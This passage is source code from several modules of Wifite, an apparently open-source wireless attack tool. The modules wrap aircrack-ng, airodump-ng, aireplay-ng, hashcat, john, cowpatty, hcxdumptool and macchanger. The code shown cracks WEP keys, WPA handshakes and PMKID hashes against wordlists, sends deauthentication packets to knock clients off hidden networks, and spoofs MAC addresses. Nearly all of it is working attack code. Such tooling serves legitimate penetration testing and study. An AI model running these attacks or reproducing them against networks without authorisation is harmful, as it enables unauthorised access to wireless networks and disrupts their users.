'.join(command)) 99 | crack_proc = Process(command) 100 | 101 | # Report progress of cracking 102 | aircrack_nums_re = re.compile(r'(\d+)/(\d+) keys tested.*\(([\d.]+)\s+k/s') 103 | aircrack_key_re = re.compile(r'Current passphrase:\s*([^\s].*[^\s])\s*$') 104 | num_tried = num_total = 0 105 | percent = num_kps = 0.0 106 | eta_str = 'unknown' 107 | current_key = '' 108 | while crack_proc.poll() is None: 109 | line = crack_proc.pid.stdout.readline() 110 | match_nums = aircrack_nums_re.search(line.decode('utf-8')) 111 | match_keys = aircrack_key_re.search(line.decode('utf-8')) 112 | if match_nums: 113 | num_tried = int(match_nums.group(1)) 114 | num_total = int(match_nums.group(2)) 115 | num_kps = float(match_nums.group(3)) 116 | eta_seconds = (num_total - num_tried) / num_kps 117 | eta_str = Timer.secs_to_str(eta_seconds) 118 | percent = 100.0 * float(num_tried) / float(num_total) 119 | elif match_keys: 120 | current_key = match_keys.group(1) 121 | else: 122 | continue 123 | 124 | status = '\r{+} {C}Cracking WPA Handshake: %0.2f%%{W}' % percent 125 | status += ' ETA: {C}%s{W}' % eta_str 126 | status += ' @ {C}%0.1fkps{W}' % num_kps 127 | #status += ' ({C}%d{W}/{C}%d{W} keys)' % (num_tried, num_total) 128 | status += ' (current key: {C}%s{W})' % current_key 129 | Color.clear_entire_line() 130 | Color.p(status) 131 | 132 | Color.pl('') 133 | 134 | # Check crack result 135 | if os.path.exists(key_file): 136 | with open(key_file, 'r') as fid: 137 | key = fid.read().strip() 138 | os.remove(key_file) 139 | 140 | return key 141 | else: 142 | return None 143 | 144 | 145 | if __name__ == '__main__': 146 | (hexkey, asciikey) = Aircrack._hex_and_ascii_key('A1B1C1D1E1') 147 | assert hexkey == 'A1:B1:C1:D1:E1', 'hexkey was "%s", expected "A1:B1:C1:D1:E1"' % hexkey 148 | assert asciikey is None, 'asciikey was "%s", expected None' % asciikey 149 | 150 | (hexkey, asciikey) = Aircrack._hex_and_ascii_key('6162636465') 151 | assert hexkey == '61:62:63:64:65', 'hexkey was "%s", expected "61:62:63:64:65"' % hexkey 152 | assert asciikey == 'abcde', 'asciikey was "%s", expected "abcde"' % asciikey 153 | 154 | from time import sleep 155 | 156 | Configuration.initialize(False) 157 | 158 | ivs_file = 'tests/files/wep-crackable.ivs' 159 | print('Running aircrack on %s ...' % ivs_file) 160 | 161 | aircrack = Aircrack(ivs_file) 162 | while aircrack.is_running(): 163 | sleep(1) 164 | 165 | assert aircrack.is_cracked(), 'Aircrack should have cracked %s' % ivs_file 166 | print('aircrack process completed.') 167 | 168 | (hexkey, asciikey) = aircrack.get_key_hex_ascii() 169 | print('aircrack found HEX key: (%s) and ASCII key: (%s)' % (hexkey, asciikey)) 170 | assert hexkey == '75:6E:63:6C:65', 'hexkey was "%s", expected "75:6E:63:6C:65"' % hexkey 171 | assert asciikey == 'uncle', 'asciikey was "%s", expected "uncle"' % asciikey 172 | 173 | Configuration.exit_gracefully(0) 174 | -------------------------------------------------------------------------------- /wifite/tools/airodump.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | from .dependency import Dependency 5 | from .tshark import Tshark 6 | from .wash import Wash 7 | from ..util.process import Process 8 | from ..config import Configuration 9 | from ..model.target import Target, WPSState 10 | from ..model.client import Client 11 | 12 | import os, time 13 | 14 | class Airodump(Dependency): 15 | ''' Wrapper around airodump-ng program ''' 16 | dependency_required = True 17 | dependency_name = 'airodump-ng' 18 | dependency_url = 'https://www.aircrack-ng.org/install.html' 19 | 20 | def __init__(self, interface=None, channel=None, encryption=None,\ 21 | wps=WPSState.UNKNOWN, target_bssid=None, 22 | output_file_prefix='airodump',\ 23 | ivs_only=False, skip_wps=False, delete_existing_files=True): 24 | '''Sets up airodump arguments, doesn't start process yet.''' 25 | 26 | Configuration.initialize() 27 | 28 | if interface is None: 29 | interface = Configuration.interface 30 | if interface is None: 31 | raise Exception('Wireless interface must be defined (-i)') 32 | self.interface = interface 33 | 34 | self.targets = [] 35 | 36 | if channel is None: 37 | channel = Configuration.target_channel 38 | self.channel = channel 39 | self.five_ghz = Configuration.five_ghz 40 | 41 | self.encryption = encryption 42 | self.wps = wps 43 | 44 | self.target_bssid = target_bssid 45 | self.output_file_prefix = output_file_prefix 46 | self.ivs_only = ivs_only 47 | self.skip_wps = skip_wps 48 | 49 | # For tracking decloaked APs (previously were hidden) 50 | self.decloaking = False 51 | self.decloaked_bssids = set() 52 | self.decloaked_times = {} # Map of BSSID(str) -> epoch(int) of last deauth 53 | 54 | self.delete_existing_files = delete_existing_files 55 | 56 | 57 | def __enter__(self): 58 | ''' 59 | Setting things up for this context. 60 | Called at start of 'with Airodump(...) as x:' 61 | Actually starts the airodump process. 62 | ''' 63 | if self.delete_existing_files: 64 | self.delete_airodump_temp_files(self.output_file_prefix) 65 | 66 | self.csv_file_prefix = Configuration.temp() + self.output_file_prefix 67 | 68 | # Build the command 69 | command = [ 70 | 'airodump-ng', 71 | self.interface, 72 | '-a', # Only show associated clients 73 | '-w', self.csv_file_prefix, # Output file prefix 74 | '--write-interval', '1' # Write every second 75 | ] 76 | if self.channel: command.extend(['-c', str(self.channel)]) 77 | elif self.five_ghz: command.extend(['--band', 'a']) 78 | 79 | if self.encryption: command.extend(['--enc', self.encryption]) 80 | if self.wps: command.extend(['--wps']) 81 | if self.target_bssid: command.extend(['--bssid', self.target_bssid]) 82 | 83 | if self.ivs_only: command.extend(['--output-format', 'ivs,csv']) 84 | else: command.extend(['--output-format', 'pcap,csv']) 85 | 86 | # Start the process 87 | self.pid = Process(command, devnull=True) 88 | return self 89 | 90 | 91 | def __exit__(self, type, value, traceback): 92 | ''' 93 | Tearing things down since the context is being exited. 94 | Called after 'with Airodump(...)' goes out of scope. 95 | ''' 96 | # Kill the process 97 | self.pid.interrupt() 98 | 99 | if self.delete_existing_files: 100 | self.delete_airodump_temp_files(self.output_file_prefix) 101 | 102 | 103 | def find_files(self, endswith=None): 104 | return self.find_files_by_output_prefix(self.output_file_prefix, endswith=endswith) 105 | 106 | @classmethod 107 | def find_files_by_output_prefix(cls, output_file_prefix, endswith=None): 108 | ''' Finds all files in the temp directory that start with the output_file_prefix ''' 109 | result = [] 110 | temp = Configuration.temp() 111 | for fil in os.listdir(temp): 112 | if not fil.startswith(output_file_prefix): 113 | continue 114 | 115 | if endswith is None or fil.endswith(endswith): 116 | result.append(os.path.join(temp, fil)) 117 | 118 | return result 119 | 120 | @classmethod 121 | def delete_airodump_temp_files(cls, output_file_prefix): 122 | ''' 123 | Deletes airodump* files in the temp directory. 124 | Also deletes replay_*.cap and *.xor files in pwd. 125 | ''' 126 | # Remove all temp files 127 | for fil in cls.find_files_by_output_prefix(output_file_prefix): 128 | os.remove(fil) 129 | 130 | # Remove .cap and .xor files from pwd 131 | for fil in os.listdir('.'): 132 | if fil.startswith('replay_') and fil.endswith('.cap') or fil.endswith('.xor'): 133 | os.remove(fil) 134 | 135 | # Remove replay/cap/xor files from temp 136 | temp_dir = Configuration.temp() 137 | for fil in os.listdir(temp_dir): 138 | if fil.startswith('replay_') and fil.endswith('.cap') or fil.endswith('.xor'): 139 | os.remove(os.path.join(temp_dir, fil)) 140 | 141 | def get_targets(self, old_targets=[], apply_filter=True): 142 | ''' Parses airodump's CSV file, returns list of Targets ''' 143 | 144 | # Find the .CSV file 145 | csv_filename = None 146 | for fil in self.find_files(endswith='.csv'): 147 | csv_filename = fil # Found the file 148 | break 149 | 150 | if csv_filename is None or not os.path.exists(csv_filename): 151 | return self.targets # No file found 152 | 153 | targets = Airodump.get_targets_from_csv(csv_filename) 154 | for old_target in old_targets: 155 | for target in targets: 156 | if old_target.bssid == target.bssid: 157 | target.wps = old_target.wps 158 | 159 | # Check targets for WPS 160 | if not self.skip_wps: 161 | capfile = csv_filename[:-3] + 'cap' 162 | try: 163 | Tshark.check_for_wps_and_update_targets(capfile, targets) 164 | except ValueError: 165 | # No tshark, or it failed. Fall-back to wash 166 | Wash.check_for_wps_and_update_targets(capfile, targets) 167 | 168 | if apply_filter: 169 | # Filter targets based on encryption & WPS capability 170 | targets = Airodump.filter_targets(targets, skip_wps=self.skip_wps) 171 | 172 | # Sort by power 173 | targets.sort(key=lambda x: x.power, reverse=True) 174 | 175 | # Identify decloaked targets 176 | for old_target in self.targets: 177 | for new_target in targets: 178 | if old_target.bssid != new_target.bssid: 179 | continue 180 | 181 | if new_target.essid_known and not old_target.essid_known: 182 | # We decloaked a target! 183 | new_target.decloaked = True 184 | self.decloaked_bssids.add(new_target.bssid) 185 | 186 | self.targets = targets 187 | self.deauth_hidden_targets() 188 | 189 | return self.targets 190 | 191 | 192 | @staticmethod 193 | def get_targets_from_csv(csv_filename): 194 | '''Returns list of Target objects parsed from CSV file.''' 195 | targets = [] 196 | import csv 197 | with open(csv_filename, 'r') as csvopen: 198 | lines = [] 199 | for line in csvopen: 200 | line = line.replace('\0', '') 201 | lines.append(line) 202 | csv_reader = csv.reader(lines, 203 | delimiter=',', 204 | quoting=csv.QUOTE_ALL, 205 | skipinitialspace=True, 206 | escapechar='\\') 207 | 208 | hit_clients = False 209 | for row in csv_reader: 210 | # Each 'row' is a list of fields for a target/client 211 | 212 | if len(row) == 0: continue 213 | 214 | if row[0].strip() == 'BSSID': 215 | # This is the 'header' for the list of Targets 216 | hit_clients = False 217 | continue 218 | 219 | elif row[0].strip() == 'Station MAC': 220 | # This is the 'header' for the list of Clients 221 | hit_clients = True 222 | continue 223 | 224 | if hit_clients: 225 | # The current row corresponds to a 'Client' (computer) 226 | try: 227 | client = Client(row) 228 | except (IndexError, ValueError) as e: 229 | # Skip if we can't parse the client row 230 | continue 231 | 232 | if 'not associated' in client.bssid: 233 | # Ignore unassociated clients 234 | continue 235 | 236 | # Add this client to the appropriate Target 237 | for t in targets: 238 | if t.bssid == client.bssid: 239 | t.clients.append(client) 240 | break 241 | 242 | else: 243 | # The current row corresponds to a 'Target' (router) 244 | try: 245 | target = Target(row) 246 | targets.append(target) 247 | except Exception: 248 | continue 249 | 250 | return targets 251 | 252 | @staticmethod 253 | def filter_targets(targets, skip_wps=False): 254 | ''' Filters targets based on Configuration ''' 255 | result = [] 256 | # Filter based on Encryption 257 | for target in targets: 258 | if Configuration.clients_only and len(target.clients) == 0: 259 | continue 260 | if 'WEP' in Configuration.encryption_filter and 'WEP' in target.encryption: 261 | result.append(target) 262 | elif 'WPA' in Configuration.encryption_filter and 'WPA' in target.encryption: 263 | result.append(target) 264 | elif 'WPS' in Configuration.encryption_filter and target.wps in [WPSState.UNLOCKED, WPSState.LOCKED]: 265 | result.append(target) 266 | elif skip_wps: 267 | result.append(target) 268 | 269 | # Filter based on BSSID/ESSID 270 | bssid = Configuration.target_bssid 271 | essid = Configuration.target_essid 272 | i = 0 273 | while i < len(result): 274 | if result[i].essid is not None and Configuration.ignore_essid is not None and Configuration.ignore_essid.lower() in result[i].essid.lower(): 275 | result.pop(i) 276 | elif bssid and result[i].bssid.lower() != bssid.lower(): 277 | result.pop(i) 278 | elif essid and result[i].essid and result[i].essid.lower() != essid.lower(): 279 | result.pop(i) 280 | else: 281 | i += 1 282 | return result 283 | 284 | def deauth_hidden_targets(self): 285 | ''' 286 | Sends deauths (to broadcast and to each client) for all 287 | targets (APs) that have unknown ESSIDs (hidden router names). 288 | ''' 289 | self.decloaking = False 290 | 291 | if Configuration.no_deauth: 292 | return # Do not deauth if requested 293 | 294 | if self.channel is None: 295 | return # Do not deauth if channel is not fixed. 296 | 297 | # Reusable deauth command 298 | deauth_cmd = [ 299 | 'aireplay-ng', 300 | '-0', # Deauthentication 301 | str(Configuration.num_deauths), # Number of deauth packets to send 302 | '--ignore-negative-one' 303 | ] 304 | 305 | for target in self.targets: 306 | if target.essid_known: 307 | continue 308 | 309 | now = int(time.time()) 310 | secs_since_decloak = now - self.decloaked_times.get(target.bssid, 0) 311 | 312 | if secs_since_decloak < 30: 313 | continue # Decloak every AP once every 30 seconds 314 | 315 | self.decloaking = True 316 | self.decloaked_times[target.bssid] = now 317 | if Configuration.verbose > 1: 318 | from ..util.color import Color 319 | Color.pe('{C} [?] Deauthing %s (broadcast & %d clients){W}' % (target.bssid, len(target.clients))) 320 | 321 | # Deauth broadcast 322 | iface = Configuration.interface 323 | Process(deauth_cmd + ['-a', target.bssid, iface]) 324 | 325 | # Deauth clients 326 | for client in target.clients: 327 | Process(deauth_cmd + ['-a', target.bssid, '-c', client.bssid, iface]) 328 | 329 | if __name__ == '__main__': 330 | ''' Example usage. wlan0mon should be in Monitor Mode ''' 331 | with Airodump() as airodump: 332 | 333 | from time import sleep 334 | sleep(7) 335 | 336 | from ..util.color import Color 337 | 338 | targets = airodump.get_targets() 339 | for idx, target in enumerate(targets, start=1): 340 | Color.pl(' {G}%s %s' % (str(idx).rjust(3), target.to_str())) 341 | 342 | Configuration.delete_temp() 343 | -------------------------------------------------------------------------------- /wifite/tools/cowpatty.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | from .dependency import Dependency 5 | from ..config import Configuration 6 | from ..util.color import Color 7 | from ..util.process import Process 8 | from ..tools.hashcat import HcxPcapTool 9 | 10 | import os 11 | import re 12 | 13 | 14 | class Cowpatty(Dependency): 15 | ''' Wrapper for Cowpatty program. ''' 16 | dependency_required = False 17 | dependency_name = 'cowpatty' 18 | dependency_url = 'https://tools.kali.org/wireless-attacks/cowpatty' 19 | 20 | 21 | @staticmethod 22 | def crack_handshake(handshake, show_command=False): 23 | # Crack john file 24 | command = [ 25 | 'cowpatty', 26 | '-f', Configuration.wordlist, 27 | '-r', handshake.capfile, 28 | '-s', handshake.essid 29 | ] 30 | if show_command: 31 | Color.pl('{+} {D}Running: {W}{P}%s{W}' % ' '.join(command)) 32 | process = Process(command) 33 | stdout, stderr = process.get_output() 34 | 35 | key = None 36 | for line in stdout.split('\n'): 37 | if 'The PSK is "' in line: 38 | key = line.split('"', 1)[1][:-2] 39 | break 40 | 41 | return key 42 | -------------------------------------------------------------------------------- /wifite/tools/dependency.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | class Dependency(object): 5 | required_attr_names = ['dependency_name', 'dependency_url', 'dependency_required'] 6 | 7 | # https://stackoverflow.com/a/49024227 8 | def __init_subclass__(cls): 9 | for attr_name in cls.required_attr_names: 10 | if not attr_name in cls.__dict__: 11 | raise NotImplementedError( 12 | 'Attribute "{}" has not been overridden in class "{}"' \ 13 | .format(attr_name, cls.__name__) 14 | ) 15 | 16 | 17 | @classmethod 18 | def exists(cls): 19 | from ..util.process import Process 20 | return Process.exists(cls.dependency_name) 21 | 22 | 23 | @classmethod 24 | def run_dependency_check(cls): 25 | from ..util.color import Color 26 | 27 | from .airmon import Airmon 28 | from .airodump import Airodump 29 | from .aircrack import Aircrack 30 | from .aireplay import Aireplay 31 | from .ifconfig import Ifconfig 32 | from .iwconfig import Iwconfig 33 | from .bully import Bully 34 | from .reaver import Reaver 35 | from .wash import Wash 36 | from .pyrit import Pyrit 37 | from .tshark import Tshark 38 | from .macchanger import Macchanger 39 | from .hashcat import Hashcat, HcxDumpTool, HcxPcapTool 40 | 41 | apps = [ 42 | # Aircrack 43 | Aircrack, #Airodump, Airmon, Aireplay, 44 | # wireless/net tools 45 | Iwconfig, Ifconfig, 46 | # WPS 47 | Reaver, Bully, 48 | # Cracking/handshakes 49 | Pyrit, Tshark, 50 | # Hashcat 51 | Hashcat, HcxDumpTool, HcxPcapTool, 52 | # Misc 53 | Macchanger 54 | ] 55 | 56 | missing_required = any([app.fails_dependency_check() for app in apps]) 57 | 58 | if missing_required: 59 | Color.pl('{!} {O}At least 1 Required app is missing. Wifite needs Required apps to run{W}') 60 | import sys 61 | sys.exit(-1) 62 | 63 | 64 | @classmethod 65 | def fails_dependency_check(cls): 66 | from ..util.color import Color 67 | from ..util.process import Process 68 | 69 | if Process.exists(cls.dependency_name): 70 | return False 71 | 72 | if cls.dependency_required: 73 | Color.p('{!} {O}Error: Required app {R}%s{O} was not found' % cls.dependency_name) 74 | Color.pl('. {W}install @ {C}%s{W}' % cls.dependency_url) 75 | return True 76 | 77 | else: 78 | Color.p('{!} {O}Warning: Recommended app {R}%s{O} was not found' % cls.dependency_name) 79 | Color.pl('. {W}install @ {C}%s{W}' % cls.dependency_url) 80 | return False 81 | -------------------------------------------------------------------------------- /wifite/tools/hashcat.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | from .dependency import Dependency 5 | from ..config import Configuration 6 | from ..util.process import Process 7 | from ..util.color import Color 8 | 9 | import os 10 | 11 | 12 | class Hashcat(Dependency): 13 | dependency_required = False 14 | dependency_name = 'hashcat' 15 | dependency_url = 'https://hashcat.net/hashcat/' 16 | 17 | @staticmethod 18 | def should_use_force(): 19 | command = ['hashcat', '-I'] 20 | stderr = Process(command).stderr() 21 | return 'No devices found/left' in stderr 22 | 23 | @staticmethod 24 | def crack_handshake(handshake, show_command=False): 25 | # Generate hccapx 26 | hccapx_file = HcxPcapTool.generate_hccapx_file( 27 | handshake, show_command=show_command) 28 | 29 | key = None 30 | # Crack hccapx 31 | for additional_arg in ([], ['--show']): 32 | command = [ 33 | 'hashcat', 34 | '--quiet', 35 | '-m', '2500', 36 | hccapx_file, 37 | Configuration.wordlist 38 | ] 39 | if Hashcat.should_use_force(): 40 | command.append('--force') 41 | command.extend(additional_arg) 42 | if show_command: 43 | Color.pl('{+} {D}Running: {W}{P}%s{W}' % ' '.join(command)) 44 | process = Process(command) 45 | stdout, stderr = process.get_output() 46 | if ':' not in stdout: 47 | continue 48 | else: 49 | key = stdout.split(':', 5)[-1].strip() 50 | break 51 | 52 | if os.path.exists(hccapx_file): 53 | os.remove(hccapx_file) 54 | 55 | return key 56 | 57 | 58 | @staticmethod 59 | def crack_pmkid(pmkid_file, verbose=False): 60 | ''' 61 | Cracks a given pmkid_file using the PMKID/WPA2 attack (-m 16800) 62 | Returns: 63 | Key (str) if found; `None` if not found. 64 | ''' 65 | 66 | # Run hashcat once normally, then with --show if it failed 67 | # To catch cases where the password is already in the pot file. 68 | for additional_arg in ([], ['--show']): 69 | command = [ 70 | 'hashcat', 71 | '--quiet', # Only output the password if found. 72 | '-m', '16800', # WPA-PMKID-PBKDF2 73 | '-a', '0', # Wordlist attack-mode 74 | pmkid_file, 75 | Configuration.wordlist 76 | ] 77 | if Hashcat.should_use_force(): 78 | command.append('--force') 79 | command.extend(additional_arg) 80 | if verbose and additional_arg == []: 81 | Color.pl('{+} {D}Running: {W}{P}%s{W}' % ' '.join(command)) 82 | 83 | # TODO: Check status of hashcat (%); it's impossible with --quiet 84 | 85 | hashcat_proc = Process(command) 86 | hashcat_proc.wait() 87 | stdout = hashcat_proc.stdout() 88 | 89 | if ':' not in stdout: 90 | # Failed 91 | continue 92 | else: 93 | # Cracked 94 | key = stdout.strip().split(':', 1)[1] 95 | return key 96 | 97 | 98 | class HcxDumpTool(Dependency): 99 | dependency_required = False 100 | dependency_name = 'hcxdumptool' 101 | dependency_url = 'https://github.com/ZerBea/hcxdumptool' 102 | 103 | def __init__(self, target, pcapng_file): 104 | # Create filterlist 105 | filterlist = Configuration.temp('pmkid.filterlist') 106 | with open(filterlist, 'w') as filter_handle: 107 | filter_handle.write(target.bssid.replace(':', '')) 108 | 109 | if os.path.exists(pcapng_file): 110 | os.remove(pcapng_file) 111 | 112 | command = [ 113 | 'hcxdumptool', 114 | '-i', Configuration.interface, 115 | '--filterlist', filterlist, 116 | '--filtermode', '2', 117 | '-c', str(target.channel), 118 | '-o', pcapng_file 119 | ] 120 | 121 | self.proc = Process(command) 122 | 123 | def poll(self): 124 | return self.proc.poll() 125 | 126 | def interrupt(self): 127 | self.proc.interrupt() 128 | 129 | 130 | class HcxPcapTool(Dependency): 131 | dependency_required = False 132 | dependency_name = 'hcxpcaptool' 133 | dependency_url = 'https://github.com/ZerBea/hcxtools' 134 | 135 | def __init__(self, target): 136 | self.target = target 137 | self.bssid = self.target.bssid.lower().replace(':', '') 138 | self.pmkid_file = Configuration.temp('pmkid-%s.16800' % self.bssid) 139 | 140 | @staticmethod 141 | def generate_hccapx_file(handshake, show_command=False): 142 | hccapx_file = Configuration.temp('generated.hccapx') 143 | if os.path.exists(hccapx_file): 144 | os.remove(hccapx_file) 145 | 146 | command = [ 147 | 'hcxpcaptool', 148 | '-o', hccapx_file, 149 | handshake.capfile 150 | ] 151 | 152 | if show_command: 153 | Color.pl('{+} {D}Running: {W}{P}%s{W}' % ' '.join(command)) 154 | 155 | process = Process(command) 156 | stdout, stderr = process.get_output() 157 | if not os.path.exists(hccapx_file): 158 | raise ValueError('Failed to generate .hccapx file, output: \n%s\n%s' % ( 159 | stdout, stderr)) 160 | 161 | return hccapx_file 162 | 163 | @staticmethod 164 | def generate_john_file(handshake, show_command=False): 165 | john_file = Configuration.temp('generated.john') 166 | if os.path.exists(john_file): 167 | os.remove(john_file) 168 | 169 | command = [ 170 | 'hcxpcaptool', 171 | '-j', john_file, 172 | handshake.capfile 173 | ] 174 | 175 | if show_command: 176 | Color.pl('{+} {D}Running: {W}{P}%s{W}' % ' '.join(command)) 177 | 178 | process = Process(command) 179 | stdout, stderr = process.get_output() 180 | if not os.path.exists(john_file): 181 | raise ValueError('Failed to generate .john file, output: \n%s\n%s' % ( 182 | stdout, stderr)) 183 | 184 | return john_file 185 | 186 | def get_pmkid_hash(self, pcapng_file): 187 | if os.path.exists(self.pmkid_file): 188 | os.remove(self.pmkid_file) 189 | 190 | command = [ 191 | 'hcxpcaptool', 192 | '-z', self.pmkid_file, 193 | pcapng_file 194 | ] 195 | hcxpcap_proc = Process(command) 196 | hcxpcap_proc.wait() 197 | 198 | if not os.path.exists(self.pmkid_file): 199 | return None 200 | 201 | with open(self.pmkid_file, 'r') as f: 202 | output = f.read() 203 | # Each line looks like: 204 | # hash*bssid*station*essid 205 | 206 | # Note: The dumptool will record *anything* it finds, ignoring the filterlist. 207 | # Check that we got the right target (filter by BSSID) 208 | matching_pmkid_hash = None 209 | for line in output.split('\n'): 210 | fields = line.split('*') 211 | if len(fields) >= 3 and fields[1].lower() == self.bssid: 212 | # Found it 213 | matching_pmkid_hash = line 214 | break 215 | 216 | os.remove(self.pmkid_file) 217 | return matching_pmkid_hash 218 | -------------------------------------------------------------------------------- /wifite/tools/ifconfig.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | import re 5 | 6 | from .dependency import Dependency 7 | 8 | class Ifconfig(Dependency): 9 | dependency_required = True 10 | dependency_name = 'ifconfig' 11 | dependency_url = 'apt-get install net-tools' 12 | 13 | @classmethod 14 | def up(cls, interface, args=[]): 15 | '''Put interface up''' 16 | from ..util.process import Process 17 | 18 | command = ['ifconfig', interface] 19 | if type(args) is list: 20 | command.extend(args) 21 | elif type(args) is 'str': 22 | command.append(args) 23 | command.append('up') 24 | 25 | pid = Process(command) 26 | pid.wait() 27 | if pid.poll() != 0: 28 | raise Exception('Error putting interface %s up:\n%s\n%s' % (interface, pid.stdout(), pid.stderr())) 29 | 30 | 31 | @classmethod 32 | def down(cls, interface): 33 | '''Put interface down''' 34 | from ..util.process import Process 35 | 36 | pid = Process(['ifconfig', interface, 'down']) 37 | pid.wait() 38 | if pid.poll() != 0: 39 | raise Exception('Error putting interface %s down:\n%s\n%s' % (interface, pid.stdout(), pid.stderr())) 40 | 41 | 42 | @classmethod 43 | def get_mac(cls, interface): 44 | from ..util.process import Process 45 | 46 | output = Process(['ifconfig', interface]).stdout() 47 | 48 | # Mac address separated by dashes 49 | mac_dash_regex = ('[a-zA-Z0-9]{2}-' * 6)[:-1] 50 | match = re.search(' ({})'.format(mac_dash_regex), output) 51 | if match: 52 | return match.group(1).replace('-', ':') 53 | 54 | # Mac address separated by colons 55 | mac_colon_regex = ('[a-zA-Z0-9]{2}:' * 6)[:-1] 56 | match = re.search(' ({})'.format(mac_colon_regex), output) 57 | if match: 58 | return match.group(1) 59 | 60 | raise Exception('Could not find the mac address for %s' % interface) 61 | 62 | -------------------------------------------------------------------------------- /wifite/tools/iwconfig.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | from .dependency import Dependency 5 | 6 | class Iwconfig(Dependency): 7 | dependency_required = True 8 | dependency_name = 'iwconfig' 9 | dependency_url = 'apt-get install wireless-tools' 10 | 11 | 12 | @classmethod 13 | def mode(cls, iface, mode_name): 14 | from ..util.process import Process 15 | 16 | pid = Process(['iwconfig', iface, 'mode', mode_name]) 17 | pid.wait() 18 | 19 | return pid.poll() 20 | 21 | 22 | @classmethod 23 | def get_interfaces(cls, mode=None): 24 | from ..util.process import Process 25 | 26 | interfaces = set() 27 | iface = '' 28 | 29 | (out, err) = Process.call('iwconfig') 30 | for line in out.split('\n'): 31 | if len(line) == 0: continue 32 | 33 | if not line.startswith(' '): 34 | iface = line.split(' ')[0] 35 | if '\t' in iface: 36 | iface = iface.split('\t')[0].strip() 37 | 38 | iface = iface.strip() 39 | if len(iface) == 0: 40 | continue 41 | 42 | if mode is None: 43 | interfaces.add(iface) 44 | 45 | if mode is not None and 'Mode:{}'.format(mode) in line and len(iface) > 0: 46 | interfaces.add(iface) 47 | 48 | return list(interfaces) 49 | 50 | -------------------------------------------------------------------------------- /wifite/tools/john.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | from .dependency import Dependency 5 | from ..config import Configuration 6 | from ..util.color import Color 7 | from ..util.process import Process 8 | from ..tools.hashcat import HcxPcapTool 9 | 10 | import os 11 | 12 | 13 | class John(Dependency): 14 | ''' Wrapper for John program. ''' 15 | dependency_required = False 16 | dependency_name = 'john' 17 | dependency_url = 'http://www.openwall.com/john/' 18 | 19 | 20 | @staticmethod 21 | def crack_handshake(handshake, show_command=False): 22 | john_file = HcxPcapTool.generate_john_file(handshake, show_command=show_command) 23 | 24 | # Use `john --list=formats` to find if OpenCL or CUDA is supported. 25 | formats_stdout = Process(['john', '--list=formats']).stdout() 26 | if 'wpapsk-opencl' in formats_stdout: 27 | john_format = 'wpapsk-opencl' 28 | elif 'wpapsk-cuda' in formats_stdout: 29 | john_format = 'wpapsk-cuda' 30 | else: 31 | john_format = 'wpapsk' 32 | 33 | # Crack john file 34 | command = [ 35 | 'john', 36 | '--format=%s' % john_format, 37 | '--wordlist', Configuration.wordlist, 38 | john_file 39 | ] 40 | 41 | if show_command: 42 | Color.pl('{+} {D}Running: {W}{P}%s{W}' % ' '.join(command)) 43 | process = Process(command) 44 | process.wait() 45 | 46 | # Run again with --show to consistently get the password 47 | command = ['john', '--show', john_file] 48 | if show_command: 49 | Color.pl('{+} {D}Running: {W}{P}%s{W}' % ' '.join(command)) 50 | process = Process(command) 51 | stdout, stderr = process.get_output() 52 | 53 | # Parse password (regex doesn't work for some reason) 54 | if '0 password hashes cracked' in stdout: 55 | key = None 56 | else: 57 | for line in stdout.split('\n'): 58 | if handshake.capfile in line: 59 | key = line.split(':')[1] 60 | break 61 | 62 | if os.path.exists(john_file): 63 | os.remove(john_file) 64 | 65 | return key 66 | -------------------------------------------------------------------------------- /wifite/tools/macchanger.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | from .dependency import Dependency 5 | from ..tools.ifconfig import Ifconfig 6 | from ..util.color import Color 7 | 8 | class Macchanger(Dependency): 9 | dependency_required = False 10 | dependency_name = 'macchanger' 11 | dependency_url = 'apt-get install macchanger' 12 | 13 | is_changed = False 14 | 15 | @classmethod 16 | def down_macch_up(cls, iface, options): 17 | '''Put interface down, run macchanger with options, put interface up''' 18 | from ..util.process import Process 19 | 20 | Color.clear_entire_line() 21 | Color.p('\r{+} {C}macchanger{W}: taking interface {C}%s{W} down...' % iface) 22 | 23 | Ifconfig.down(iface) 24 | 25 | Color.clear_entire_line() 26 | Color.p('\r{+} {C}macchanger{W}: changing mac address of interface {C}%s{W}...' % iface) 27 | 28 | command = ['macchanger'] 29 | command.extend(options) 30 | command.append(iface) 31 | macch = Process(command) 32 | macch.wait() 33 | if macch.poll() != 0: 34 | Color.pl('\n{!} {R}macchanger{O}: error running {R}%s{O}' % ' '.join(command)) 35 | Color.pl('{!} {R}output: {O}%s, %s{W}' % (macch.stdout(), macch.stderr())) 36 | return False 37 | 38 | Color.clear_entire_line() 39 | Color.p('\r{+} {C}macchanger{W}: bringing interface {C}%s{W} up...' % iface) 40 | 41 | Ifconfig.up(iface) 42 | 43 | return True 44 | 45 | 46 | @classmethod 47 | def get_interface(cls): 48 | # Helper method to get interface from configuration 49 | from ..config import Configuration 50 | return Configuration.interface 51 | 52 | 53 | @classmethod 54 | def reset(cls): 55 | iface = cls.get_interface() 56 | Color.pl('\r{+} {C}macchanger{W}: resetting mac address on %s...' % iface) 57 | # -p to reset to permanent MAC address 58 | if cls.down_macch_up(iface, ['-p']): 59 | new_mac = Ifconfig.get_mac(iface) 60 | 61 | Color.clear_entire_line() 62 | Color.pl('\r{+} {C}macchanger{W}: reset mac address back to {C}%s{W} on {C}%s{W}' % (new_mac, iface)) 63 | 64 | 65 | @classmethod 66 | def random(cls): 67 | from ..util.process import Process 68 | if not Process.exists('macchanger'): 69 | Color.pl('{!} {R}macchanger: {O}not installed') 70 | return 71 | 72 | iface = cls.get_interface() 73 | Color.pl('\n{+} {C}macchanger{W}: changing mac address on {C}%s{W}' % iface) 74 | 75 | # -r to use random MAC address 76 | # -e to keep vendor bytes the same 77 | if cls.down_macch_up(iface, ['-e']): 78 | 